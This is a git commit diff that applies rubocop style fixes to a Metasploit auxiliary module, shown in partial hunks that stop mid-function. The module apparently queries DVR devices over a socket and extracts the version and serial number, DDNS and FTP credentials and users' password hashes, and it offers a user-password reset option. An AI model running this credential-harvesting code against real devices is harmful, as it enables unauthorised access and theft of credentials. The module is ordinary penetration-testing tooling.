fixed a bunch more rubocop errors

bug/bundler_fix
Tyler Bennett 2015-11-17 14:30:33 -05:00
parent 6e4ccb46e5
commit e55ac99c12
1 changed files with 279 additions and 279 deletions

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
],
'License' => MSF_LICENSE
)
# deregister_options('RHOST')
deregister_options('RHOST')
register_options([
OptString.new('USERNAME', [true, 'A username to reset', '888888']),
OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']),
@ -72,14 +72,14 @@ class Metasploit3 < Msf::Auxiliary
sock.put(version)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
ver = $1
ver = Regexp.last_match[1]
print_status("Version: #{ver} @ #{rhost}:#{rport}!")
end
sock.put(sn)
data = sock.get(1024)
if data =~ /[\x00]{8,}([[:print:]]+)/
serial = $1
serial = Regexp.last_match[1]
print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!")
end
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
if data == sock.get(1024).split('&&')
print_status("Email Settings: @ #{rhost}:#{rport}!")
if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/
if mailhost == $1.split(':')
if mailhost == Regexp.last_match[1].split(':')
print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil?
print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil?
end
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(ddns)
if data == sock.get(1024)
data = data.split(/&&[0-1]&&/)
data.each_with_index { |val, index|
data.each_with_index do |val, index|
if index > 0
val = val.split("&&")
ddns_service = "#{val[0]}"
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
end
end
}
end
end
sock.put(nas)
@ -139,14 +139,14 @@ class Metasploit3 < Msf::Auxiliary
server = ''
port = ''
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
server = $1.unpack('C*').join('.')
port = $2.unpack('S')
server = Regexp.last_match[1].unpack('C*').join('.')
port = Regexp.last_match[2].unpack('S')
print_status(" Nas Server #{server}")
print_status(" Nas Port: #{port}")
end
if data =~ /[\x00]{16,}([[:print:]]+)[\x00]{16,}([[:print:]]+)/
ftpuser = $1
ftppass = $2
ftpuser = Regexp.last_match[1]
ftppass = Regexp.last_match[2]
print_good(" FTP User: #{ftpuser}")
print_good(" FTP Password: #{ftppass}")
if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0
@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(users)
if data == sock.get(1024).split('&&')
print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!")
data.each { |val|
data.each do |val|
usercount += 1
pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}"
value = pass.split(":")
@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary
info: "Obtained password hash for user #{username}: #{md5hash}",
refs: :references
)
}
end
end
sock.put(groups)
if data == sock.get(1024).split('&&')